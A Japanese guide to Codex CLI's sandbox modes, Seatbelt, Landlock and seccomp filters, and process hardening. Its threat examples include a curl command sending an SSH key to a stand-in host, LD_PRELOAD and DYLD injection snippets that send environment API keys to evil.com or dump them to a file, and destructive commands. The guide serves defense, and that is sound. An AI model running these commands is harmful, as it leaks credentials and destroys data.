Codex CLI 完全ガイド: サンドボックス&セキュリティハードニング
シリーズ記事
はじめに
AI エージェントにコマンド実行権限を与える──。便利ではありますが、恐ろしいことでもあります。
想像してみてください。あなたが「プロジェクトをクリーンアップして」と指示したエージェントが、誤って rm -rf /
を実行してしまったら?あるいは、意図せずプロダクションデータベースに接続して機密情報を外部に送信してしまったら?
Codex CLI は、こうした悪夢のシナリオを防ぐため、多層防御のサンドボックス機構を実装しています。本記事では、その内部構造をソースコードレベルで詳解し、あなたのシステムがどのように守られているかを明らかにします。
⚠️ 注意: 本記事の内容は執筆時点(2025年1月時点)のものです。最新の実装は公式リポジトリをご確認ください。
1. なぜサンドボックスが必要なのか?
1.1 AI エージェントのリスク
AI エージェントは強力ですが、以下のリスクを伴います:
意図しない破壊的操作
# エージェントが理解を誤って実行する可能性
$ rm -rf /important/data
$ DROP DATABASE production;
$ git push --force origin main
機密情報の漏洩
# 環境変数やファイルから API キーを抽出して外部送信
$ curl https://evil.com -d "$(cat ~/.ssh/id_rsa)"
システムへの不正アクセス
# 権限昇格や設定変更
$ sudo systemctl disable firewall
$ chmod 777 /etc/passwd
1.2 Codex のセキュリティ哲学
Codex は Defense in Depth(多層防御) の原則に基づいています:
1.3 プラットフォーム別実装の概要
プラットフォーム | 主要技術 | 特徴 | 実装クレート |
---|---|---|---|
macOS | Seatbelt | カーネルレベルのポリシー強制 | codex-core/src/seatbelt.rs |
Linux | Landlock + seccomp | ファイルシステムとシステムコール制御 | linux-sandbox/src/landlock.rs |
Windows | (未実装) | Docker サンドボックス推奨 | - |
2. サンドボックスポリシーの 3 つのモード
2.1 ReadOnly:最も安全なモード
使用シーン:コードレビュー、静的解析、ドキュメント生成
codex --sandbox read-only "このコードベースのセキュリティ脆弱性を報告して"
制限内容:
- ✅ ファイル読み取り:全て可能
- ❌ ファイル書き込み:完全に禁止
- ❌ ネットワーク:完全に禁止
- ❌ コマンド実行:読み取り専用コマンドのみ
実際の動作:
# ✅ 許可される
$ cat README.md
$ find . -name "*.rs"
$ grep -r "TODO" src/
# ❌ 拒否される
$ echo "test" > file.txt # Permission denied
$ curl https://api.example.com # Network unreachable
$ npm install # 書き込みが必要なため失敗
2.2 WorkspaceWrite:デフォルトモード
使用シーン:開発作業、テスト実行、ファイル編集
codex --sandbox workspace-write "テストを実行して失敗したら修正して"
制限内容:
- ✅ ファイル読み取り:全て可能
- ✅ ファイル書き込み:
cwd
と/tmp
のみ - ⚠️ ネットワーク:デフォルトで無効(設定で有効化可能)
- ✅ コマンド実行:サンドボックス内で可能
ポリシー定義(protocol.rs
より):
pub fn new_workspace_write_policy() -> Self {
SandboxPolicy::WorkspaceWrite {
writable_roots: vec![], // デフォルトは空(cwd のみ)
network_access: false, // ネットワーク無効
exclude_tmpdir_env_var: false, // TMPDIR を書き込み可能に含める
exclude_slash_tmp: false, // /tmp を書き込み可能に含める
}
}
カスタマイズ例:
# ネットワークを有効化(npm install などで必要)
codex exec \
--sandbox workspace-write \
-c 'sandbox_workspace_write={network_access=true}' \
"依存関係をインストールして"
# 追加の書き込み可能ディレクトリ
codex exec \
--sandbox workspace-write \
-c 'sandbox_workspace_write={
writable_roots=[
"~/.cache/pip",
"~/.npm"
]
}' \
"Python と Node.js のパッケージを更新"
2.3 DangerFullAccess:完全な自由と責任
使用シーン:信頼できるスクリプト、システム管理タスク
codex --sandbox danger-full-access "システム全体のログをローテーション"
⚠️ 警告:
- このモードは 全ての制限を解除 します
- 本番環境では 絶対に使用しない でください
- 使用前に必ずコードをレビューしてください
制限内容:
- ✅ ファイル読み取り:制限なし
- ✅ ファイル書き込み:制限なし
- ✅ ネットワーク:制限なし
- ✅ コマンド実行:制限なし
3. macOS: Seatbelt の内部構造
3.1 Seatbelt とは何か?
Seatbelt は macOS のカーネルレベルサンドボックス機構です。Apple の全てのシステムアプリ(Safari、Mail、Preview など)も Seatbelt で保護されています。
仕組み:
- SBPL (Sandbox Profile Language) でポリシーを記述
-
sandbox-exec
がポリシーをカーネルに登録 - カーネルが全てのシステムコールを監視・制御
3.2 Codex の Seatbelt 実装
-
/usr/bin/sandbox-exec
の絶対パスを利用し、PATH 書き換え攻撃を防止(seatbelt.rs
)。 - SBPL(Sandbox Profile Language)を動的生成し、読み書き/ネットワーク権限を細かく制御。
-
.git
ディレクトリなど重要領域は自動で読み取り専用に設定。 - 偽 sandbox-exec や勝手なネットワーク通信など、典型的な攻撃ベクトルを遮断。
3.3 動的ポリシー生成の魔法
Codex は実行時に 動的に SBPL ポリシーを生成 します。これにより、柔軟かつ安全な制御が可能になります。
ポリシー生成の流れ:
3.4 .git ディレクトリの自動保護
Git リポジトリの .git
ディレクトリは 常に読み取り専用 として保護されます。
なぜ重要か?
エージェントが以下のような操作を誤って実行する可能性があります:
# 危険な操作例
$ rm -rf .git/ # リポジトリ破壊
$ echo "malicious" > .git/hooks/pre-commit # バックドア
$ git filter-branch --force # 履歴改変
Codex の保護メカニズム:
// .git ディレクトリを自動検出して除外リストに追加
for (index, wr) in writable_roots.iter().enumerate() {
let canonical_root = wr.root.canonicalize()?;
if wr.read_only_subpaths.is_empty() {
// .git がない場合
writable_folder_policies.push(
format!("(subpath (param \"WRITABLE_ROOT_{index}\"))")
);
} else {
// .git がある場合、除外ルールを追加
let mut require_parts = vec![
format!("(subpath (param \"WRITABLE_ROOT_{index}\"))")
];
for (subpath_index, ro) in wr.read_only_subpaths.iter().enumerate() {
let ro_param = format!("WRITABLE_ROOT_{index}_RO_{subpath_index}");
require_parts.push(
format!("(require-not (subpath (param \"{ro_param}\")))")
);
}
// (require-all (subpath /workspace) (require-not (subpath /workspace/.git)))
let policy = format!("(require-all {} )", require_parts.join(" "));
writable_folder_policies.push(policy);
}
}
生成される SBPL ポリシー例:
(allow file-write*
(require-all
(subpath (param "WRITABLE_ROOT_0")) ; /path/to/workspace
(require-not (subpath (param "WRITABLE_ROOT_0_RO_0"))) ; /path/to/workspace/.git は除外
)
)
3.5 実際の動作確認
Seatbelt の動作をテスト:
# デバッグモードで Seatbelt を確認
codex debug seatbelt --sandbox workspace-write -- ls -la /etc
# 期待される動作
# ✅ 読み取り成功(/etc の内容が表示される)
codex debug seatbelt --sandbox workspace-write -- touch /etc/test
# 期待される動作
# ❌ Operation not permitted
ポリシー違反時のログ:
sandbox-exec: Operation not permitted
Seatbelt policy violation:
Process: touch (PID 12345)
Operation: file-write
Path: /etc/test
Policy: (deny file-write* (subpath "/etc"))
4. Linux: Landlock + seccomp の二重防御
4.1 なぜ 2 つの技術を組み合わせるのか?
Linux には macOS の Seatbelt のような統一されたサンドボックス機構がありません。そのため、Codex は以下の 2 つを組み合わせます:
技術 | 役割 | カバー範囲 |
---|---|---|
Landlock | ファイルシステムアクセス制御 | どのパスに読み書きできるか |
seccomp | システムコール制御 | どのシステムコールを呼べるか |
組み合わせの効果:
4.2 Landlock: ファイルシステムの門番
Landlock の仕組み:
fn install_filesystem_landlock_rules_on_current_thread(
writable_roots: Vec<PathBuf>
) -> Result<()> {
let abi = ABI::V5; // Landlock API バージョン 5
let access_rw = AccessFs::from_all(abi); // 読み書き権限
let access_ro = AccessFs::from_read(abi); // 読み取り専用
let mut ruleset = Ruleset::default()
.set_compatibility(CompatLevel::BestEffort) // 古いカーネルでも動作
.handle_access(access_rw)?
.create()?
// ステップ 1: ファイルシステム全体を読み取り専用に
.add_rules(landlock::path_beneath_rules(&["/"], access_ro))?
// ステップ 2: /dev/null は読み書き可能に(多くのツールが必要とする)
.add_rules(landlock::path_beneath_rules(&["/dev/null"], access_rw))?
// ステップ 3: 新しい特権を取得できないように
.set_no_new_privs(true);
// ステップ 4: 指定されたディレクトリを読み書き可能に
if !writable_roots.is_empty() {
ruleset = ruleset.add_rules(
landlock::path_beneath_rules(&writable_roots, access_rw)
)?;
}
// ステップ 5: ルールセットを現在のスレッドに適用
let status = ruleset.restrict_self()?;
// 確認: ルールが本当に適用されたか?
if status.ruleset == landlock::RulesetStatus::NotEnforced {
return Err(CodexErr::Sandbox(SandboxErr::LandlockRestrict));
}
Ok(())
}
動作の可視化:
4.3 seccomp: システムコールのファイアウォール
seccomp の仕組み:
seccomp (Secure Computing Mode) は、プロセスが実行できるシステムコールを制限します。Codex は BPF (Berkeley Packet Filter) プログラムでネットワーク関連のシステムコールをブロックします。
ブロックされるシステムコール:
fn install_network_seccomp_filter_on_current_thread() -> Result<(), SandboxErr> {
let mut rules: BTreeMap<i64, Vec<SeccompRule>> = BTreeMap::new();
// ネットワーク関連システムコールを全てブロック
let blocked_syscalls = vec![
libc::SYS_connect, // サーバーへの接続
libc::SYS_accept, // 接続の受け入れ
libc::SYS_accept4, // accept の拡張版
libc::SYS_bind, // ポートのバインド
libc::SYS_listen, // リスニング開始
libc::SYS_sendto, // データ送信
libc::SYS_sendmsg, // メッセージ送信
libc::SYS_sendmmsg, // 複数メッセージ送信
libc::SYS_recvmsg, // メッセージ受信
libc::SYS_recvmmsg, // 複数メッセージ受信
libc::SYS_getsockopt, // ソケットオプション取得
libc::SYS_setsockopt, // ソケットオプション設定
libc::SYS_ptrace, // デバッガアタッチ(セキュリティリスク)
];
for syscall in blocked_syscalls {
rules.insert(syscall, vec![]); // 空ルール = 無条件拒否
}
// 例外: AF_UNIX ドメインソケットのみ許可
// (プロセス間通信で必要なため)
let unix_only_rule = SeccompRule::new(vec![
SeccompCondition::new(
0, // 第1引数(domain)
SeccompCmpArgLen::Dword,
SeccompCmpOp::Ne, // 不一致なら拒否
libc::AF_UNIX as u64, // AF_UNIX 以外を拒否
)?
])?;
rules.insert(libc::SYS_socket, vec![unix_only_rule.clone()]);
rules.insert(libc::SYS_socketpair, vec![unix_only_rule]);
// BPF プログラムを生成
let filter = SeccompFilter::new(
rules,
SeccompAction::Allow, // デフォルト: 許可
SeccompAction::Errno(libc::EPERM as u32), // ルール一致時: EPERM を返す
target_arch(),
)?;
let prog: BpfProgram = filter.try_into()?;
// カーネルに BPF プログラムを登録
apply_filter(&prog)?;
Ok(())
}
fn target_arch() -> TargetArch {
if cfg!(target_arch = "x86_64") {
TargetArch::x86_64
} else if cfg!(target_arch = "aarch64") {
TargetArch::aarch64
} else {
panic!("Unsupported architecture for seccomp");
}
}
重要な設計判断:
💡 なぜ recvfrom
は許可するのか?
// 注意: recvfrom は許可
// 理由: cargo clippy などのツールが内部で socketpair を使用するため
// deny_syscall(libc::SYS_recvfrom); ← コメントアウトされている
多くの開発ツールは、子プロセスとの通信に socketpair()
+ recvfrom()
を使用します。これを完全にブロックすると、cargo
、npm
、pip
などが動作しなくなります。
seccomp 違反時の動作:
$ codex exec --sandbox workspace-write -- curl https://example.com
# 期待される出力
curl: (7) Failed to connect() to example.com: Operation not permitted
# strace で確認
$ strace -e connect curl https://example.com
connect(3, {...}, 16) = -1 EPERM (Operation not permitted)
4.4 Linux サンドボックスの適用タイミング
pub(crate) fn apply_sandbox_policy_to_current_thread(
sandbox_policy: &SandboxPolicy,
cwd: &Path,
) -> Result<()> {
// 順番が重要!
// 1. ネットワーク制限を先に適用
// (一度 seccomp を適用すると、新しいルールを追加できないため)
if !sandbox_policy.has_full_network_access() {
install_network_seccomp_filter_on_current_thread()?;
}
// 2. ファイルシステム制限を適用
if !sandbox_policy.has_full_disk_write_access() {
let writable_roots = sandbox_policy
.get_writable_roots_with_cwd(cwd)
.into_iter()
.map(|wr| wr.root)
.collect();
install_filesystem_landlock_rules_on_current_thread(writable_roots)?;
}
// TODO: 読み取り制限の実装
// 現在は全ファイルシステムが読み取り可能
Ok(())
}
5. プロセスハードニング:起動前の防御
サンドボックスとは別に、Codex はプロセス起動前に 追加のセキュリティ対策 を自動適用します。
5.1 pre-main ハードニングとは?
/// main() 関数が実行される前に自動実行される
#[ctor::ctor]
#[cfg(not(debug_assertions))] // デバッグビルドでは無効
fn pre_main_hardening() {
codex_process_hardening::pre_main_hardening();
}
💡 #[ctor::ctor]
の魔法
このアトリビュートは、main() よりも前に関数を実行します:
プロセス起動
↓
shared library 初期化
↓
#[ctor::ctor] 関数実行 ← ここで pre_main_hardening()
↓
main() 関数実行
5.2 Linux ハードニング:3 つの防御策
pub(crate) fn pre_main_hardening_linux() {
// ──────────────────────────────────────
// 防御策 1: デバッガアタッチの無効化
// ──────────────────────────────────────
let ret = unsafe { libc::prctl(libc::PR_SET_DUMPABLE, 0, 0, 0, 0) };
if ret != 0 {
eprintln!(
"ERROR: prctl(PR_SET_DUMPABLE, 0) failed: {}",
std::io::Error::last_os_error()
);
std::process::exit(PRCTL_FAILED_EXIT_CODE);
}
// ──────────────────────────────────────
// 防御策 2: コアダンプの無効化
// ──────────────────────────────────────
set_core_file_size_limit_to_zero();
// ──────────────────────────────────────
// 防御策 3: 危険な環境変数の削除
// ──────────────────────────────────────
let ld_keys: Vec<String> = std::env::vars()
.filter_map(|(key, _)| {
if key.starts_with("LD_") {
Some(key)
} else {
None
}
})
.collect();
for key in ld_keys {
unsafe {
std::env::remove_var(key);
}
}
}
各防御策の詳細:
防御策 1: PR_SET_DUMPABLE
攻撃シナリオ:
# 攻撃者が別プロセスから Codex にアタッチ
$ gdb -p $(pgrep codex)
(gdb) print api_key
$1 = "sk-...secret..."
防御方法:
PR_SET_DUMPABLE
を 0 に設定すると、以下が無効化されます:
-
ptrace()
によるアタッチ -
/proc/[pid]/mem
へのアクセス - コアダンプの生成
防御策 2: RLIMIT_CORE
攻撃シナリオ:
# Codex をクラッシュさせてコアダンプを取得
$ kill -SIGSEGV $(pgrep codex)
$ ls -lh core.*
-rw------- 1 user user 2.3G Dec 1 12:34 core.12345
# コアダンプから機密情報を抽出
$ strings core.12345 | grep -i "api"
OPENAI_API_KEY=sk-...secret...
防御方法:
fn set_core_file_size_limit_to_zero() {
let rlim = libc::rlimit {
rlim_cur: 0, // 現在の制限
rlim_max: 0, // 最大制限
};
let ret = unsafe { libc::setrlimit(libc::RLIMIT_CORE, &rlim) };
if ret != 0 {
eprintln!("ERROR: setrlimit(RLIMIT_CORE) failed");
std::process::exit(SET_RLIMIT_CORE_FAILED_EXIT_CODE);
}
}
防御策 3: LD_* 環境変数の削除
攻撃シナリオ:
# 悪意あるライブラリを注入
$ cat > evil.so << 'EOF'
#include <stdio.h>
void __attribute__((constructor)) init() {
system("curl https://evil.com -d \"$(env | grep API)\"");
}
EOF
$ gcc -shared -fPIC evil.so -o evil.so
$ LD_PRELOAD=./evil.so codex "テストを実行"
# → API キーが evil.com に送信される
防御方法:
// LD_PRELOAD, LD_LIBRARY_PATH など全ての LD_* を削除
let ld_keys: Vec<String> = std::env::vars()
.filter_map(|(key, _)| key.starts_with("LD_").then_some(key))
.collect();
for key in ld_keys {
unsafe { std::env::remove_var(key); }
}
💡 MUSL ビルドの追加防御
公式の Codex リリースは MUSL でビルドされており、LD_PRELOAD
は既に無視されます。しかし、念のため明示的に削除します(Defense in Depth)。
5.3 macOS ハードニング:デバッガとライブラリ置換の防御
pub(crate) fn pre_main_hardening_macos() {
// ──────────────────────────────────────
// 防御策 1: PT_DENY_ATTACH
// ──────────────────────────────────────
let ret = unsafe {
libc::ptrace(libc::PT_DENY_ATTACH, 0, std::ptr::null_mut(), 0)
};
if ret == -1 {
eprintln!(
"ERROR: ptrace(PT_DENY_ATTACH) failed: {}",
std::io::Error::last_os_error()
);
std::process::exit(PTRACE_DENY_ATTACH_FAILED_EXIT_CODE);
}
// ──────────────────────────────────────
// 防御策 2: コアダンプの無効化
// ──────────────────────────────────────
set_core_file_size_limit_to_zero();
// ──────────────────────────────────────
// 防御策 3: DYLD_* 環境変数の削除
// ──────────────────────────────────────
let dyld_keys: Vec<String> = std::env::vars()
.filter_map(|(key, _)| key.starts_with("DYLD_").then_some(key))
.collect();
for key in dyld_keys {
unsafe { std::env::remove_var(key); }
}
}
macOS 固有の攻撃ベクトル:
# DYLD_INSERT_LIBRARIES による攻撃
$ cat > evil.dylib << 'EOF'
__attribute__((constructor))
void init() {
system("osascript -e 'do shell script \"env\" > /tmp/env.txt'");
}
EOF
$ clang -dynamiclib evil.c -o evil.dylib
$ DYLD_INSERT_LIBRARIES=./evil.dylib codex "テスト"
# → 環境変数が /tmp/env.txt に保存される
6. CLI からのサンドボックス制御
6.1 基本的な指定方法
# 最も安全
codex --sandbox read-only "コードレビューして"
# バランス型(デフォルト)
codex --sandbox workspace-write "テストを実行"
# 完全な自由(注意)
codex --sandbox danger-full-access "システム設定を変更"
6.2 ネットワークアクセスの有効化
シーン 1: npm install が必要
codex exec \
--sandbox workspace-write \
-c 'sandbox_workspace_write={network_access=true}' \
"package.json の依存関係をインストール"
シーン 2: MCP サーバー起動
codex exec \
--sandbox workspace-write \
-c 'sandbox_workspace_write={
network_access=true,
writable_roots=["~/.cache/uv", "~/.uv"]
}' \
"uvx で MCP サーバーを起動"
6.3 追加の書き込み可能ディレクトリ
シーン: Python と Node.js のキャッシュ
codex exec \
--sandbox workspace-write \
-c 'sandbox_workspace_write={
network_access=true,
writable_roots=[
"~/.cache/pip",
"~/.npm",
"~/.cache/yarn"
]
}' \
"全ての依存関係を最新化"
6.4 設定ファイルでのデフォルト指定
~/.codex/config.toml
:
# グローバルデフォルト
[sandbox_workspace_write]
network_access = false
writable_roots = []
# プロファイル: Web 開発
[profiles.webdev.sandbox_workspace_write]
network_access = true
writable_roots = [
"~/.npm",
"~/.cache/yarn",
"~/. config/yarn"
]
# プロファイル: Python 開発
[profiles.python.sandbox_workspace_write]
network_access = true
writable_roots = [
"~/.cache/pip",
"~/.cache/uv",
"~/.virtualenvs"
]
使用:
# Web 開発プロファイル
codex --profile webdev "React アプリを作成"
# Python 開発プロファイル
codex --profile python "Django プロジェクトをセットアップ"
7. 危険操作の実例と対策
7.1 ケーススタディ 1: npm install での失敗
エラー:
$ codex exec --sandbox workspace-write -- "npm install"
Error: EACCES: permission denied, mkdir '/Users/user/.npm/_cacache'
原因:
npm は ~/.npm/
にキャッシュを書き込もうとしますが、サンドボックスで許可されていません。
解決策:
codex exec \
--sandbox workspace-write \
-c 'sandbox_workspace_write={
network_access=true,
writable_roots=["~/.npm"]
}' \
-- "npm install"
7.2 ケーススタディ 2: データベースへの意図しない接続
危険なプロンプト:
codex --sandbox danger-full-access "本番データベースのユーザーテーブルをクリーンアップ"
何が起こるか:
- エージェントが
psql
コマンドを実行 -
.pgpass
から本番データベースの認証情報を読み取る -
DELETE FROM users WHERE last_login < '2020-01-01';
を実行 - 数万件のユーザーデータが削除される
対策 1: 環境分離
# 開発用の設定ファイルを使用
codex exec \
--sandbox workspace-write \
-c 'sandbox_workspace_write={network_access=false}' \
--env-file .env.dev \
"データベースをクリーンアップ"
対策 2: 読み取り専用モード
# まず読み取り専用で確認
codex --sandbox read-only "どのユーザーが削除対象か確認"
# 確認後、手動で実行
7.3 ケーススタディ 3: 意図しない git push --force
危険なシーン:
ユーザー: "コミット履歴をきれいにして"
エージェント: git rebase -i HEAD~10
→ コンフリクトが発生
エージェント: git rebase --abort
→ リベースを中止
エージェント: git filter-branch ...
→ 履歴を書き換え
エージェント: git push --force origin main
→ チーム全員の履歴を破壊
Codex の保護:
// .git ディレクトリは常に保護されている
// git コマンドは実行できるが、.git/ への直接書き込みは不可
// ✅ 許可される
$ git commit -m "update"
$ git push origin main
// ❌ 拒否される
$ rm -rf .git/
$ echo "evil" > .git/hooks/pre-commit
ただし、git コマンド自体は実行できるため、以下の対策が必要:
対策:
# 承認モードを使用
codex --ask-for-approval on-request "コミット履歴を整理"
# git push が必要な場合、ユーザーに確認を求める
8. デバッグとトラブルシューティング
8.1 サンドボックス動作の可視化
macOS: システムログでSeatbelt違反を確認
# リアルタイムでサンドボックス違反を監視
$ log stream --predicate 'process == "sandbox-exec"' --level debug
# 実行
$ codex debug seatbelt --sandbox workspace-write -- touch /etc/test
# ログ出力
Sandbox: touch(12345) deny(1) file-write-create /etc/test
Linux: strace で syscall 拒否を確認
$ strace -e trace=connect,bind codex exec --sandbox workspace-write -- curl https://example.com
connect(3, {sa_family=AF_INET, ...}, 16) = -1 EPERM (Operation not permitted)
8.2 よくあるエラーと解決方法
エラー 1: "Landlock ruleset not enforced"
原因: Linux カーネルが Landlock 未対応(< 5.13)
確認:
$ uname -r
5.10.0-generic # ← 5.13 未満
$ grep CONFIG_SECURITY_LANDLOCK /boot/config-$(uname -r)
# CONFIG_SECURITY_LANDLOCK is not set
解決策:
# オプション 1: カーネルアップグレード
$ sudo apt update && sudo apt upgrade linux-generic
# オプション 2: Docker サンドボックス使用
$ cd codex-cli
$ ./scripts/run_in_container.sh codex "テストを実行"
エラー 2: "Permission denied" (予期しない)
デバッグ手順:
# 1. 詳細ログを有効化
$ RUST_LOG=debug codex exec --sandbox workspace-write -- touch /path/to/file
# 2. どのパスが拒否されたか確認
# ログに以下のような出力が表示される
[DEBUG codex_core::landlock] Attempted write to: /path/to/file
[DEBUG codex_core::landlock] Allowed roots: ["/workspace", "/tmp"]
[ERROR codex_core::landlock] Path not in allowed roots
# 3. 必要なパスを writable_roots に追加
$ codex exec \
-c 'sandbox_workspace_write={writable_roots=["/path/to"]}' \
-- touch /path/to/file
エラー 3: "Network unreachable" (npm install で)
原因: network_access=false
のまま npm を実行
解決:
# ネットワークを有効化
codex exec \
-c 'sandbox_workspace_write={
network_access=true,
writable_roots=["~/.npm"]
}' \
-- npm install
8.3 サンドボックステストツール
Codex は debug
サブコマンドでサンドボックスの動作を検証できます:
# macOS: Seatbelt テスト
codex debug seatbelt \
--sandbox workspace-write \
-- bash -c 'echo test > /tmp/ok && echo test > /etc/fail'
# 期待される出力
# /tmp/ok への書き込み: 成功
# /etc/fail への書き込み: Operation not permitted
# Linux: Landlock テスト
codex debug landlock \
--sandbox workspace-write \
-- bash -c 'cat /etc/passwd > /dev/null && touch /etc/test'
# 期待される出力
# /etc/passwd の読み取り: 成功
# /etc/test の作成: Permission denied
9. ベストプラクティス集
9.1 サンドボックス設定の判断フロー
9.2 推奨設定パターン
パターン 1: コードレビュー
codex --sandbox read-only \
"このPRのセキュリティリスクを分析して報告"
パターン 2: テスト実行(ネットワーク不要)
codex exec \
--sandbox workspace-write \
"pytest を実行してカバレッジレポート生成"
パターン 3: パッケージインストール
codex exec \
--sandbox workspace-write \
-c 'sandbox_workspace_write={
network_access=true,
writable_roots=["~/.cache/pip", "~/.npm"]
}' \
"requirements.txt の依存関係をインストール"
パターン 4: ドキュメント生成
codex --sandbox workspace-write \
"コードからAPI ドキュメントを生成して docs/ に保存"
9.3 CI/CD での使用
GitHub Actions 例:
name: Codex Security Scan
on: [pull_request]
jobs:
security-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Install Codex
run: npm install -g @openai/codex
- name: Security Analysis (Read-Only)
run: |
codex exec \
--sandbox read-only \
--experimental-json \
"セキュリティ脆弱性をスキャンして report.json に保存" \
> security-report.json
env:
OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
- name: Upload Report
uses: actions/upload-artifact@v3
with:
name: security-report
path: security-report.json
重要な注意点:
- CI では 常に read-only から始める
- ネットワークアクセスは最小限に
- 書き込みは成果物ディレクトリのみ許可
- API キーは GitHub Secrets で管理
10. まとめ
10.1 サンドボックスの階層構造
レベル 5: ユーザー承認
↑
レベル 4: ファイルシステム制御(Landlock / Seatbelt)
↑
レベル 3: ネットワーク制御(seccomp)
↑
レベル 2: システムコール制限(seccomp BPF)
↑
レベル 1: プロセスハードニング(pre-main)
10.2 セキュリティのトレードオフ
モード | 安全性 | 柔軟性 | 推奨用途 |
---|---|---|---|
read-only | ⭐⭐⭐⭐⭐ | ⭐ | コードレビュー、分析 |
workspace-write | ⭐⭐⭐⭐ | ⭐⭐⭐ | 開発作業、テスト |
workspace-write + network | ⭐⭐⭐ | ⭐⭐⭐⭐ | パッケージ管理、MCP |
danger-full-access | ⭐ | ⭐⭐⭐⭐⭐ | システム管理(慎重に) |
10.3 重要なポイント
✅ デフォルトで安全
WorkspaceWrite + ネットワーク無効が基本設定
✅ .git
は常に保護
リポジトリ破壊のリスクを自動回避
✅ 多層防御
単一の防御機構に依存しない
✅ プラットフォーム最適化
各 OS の最適な技術を活用
✅ 柔軟な設定
タスクに応じて権限を調整可能
10.4 次のステップ
- 公式ドキュメント で最新情報を確認
10.5 参考リンク
- macOS Sandbox Guide (Apple)
- Landlock Documentation (kernel.org)
- seccomp BPF (man7.org)
- OWASP Application Security
Discussion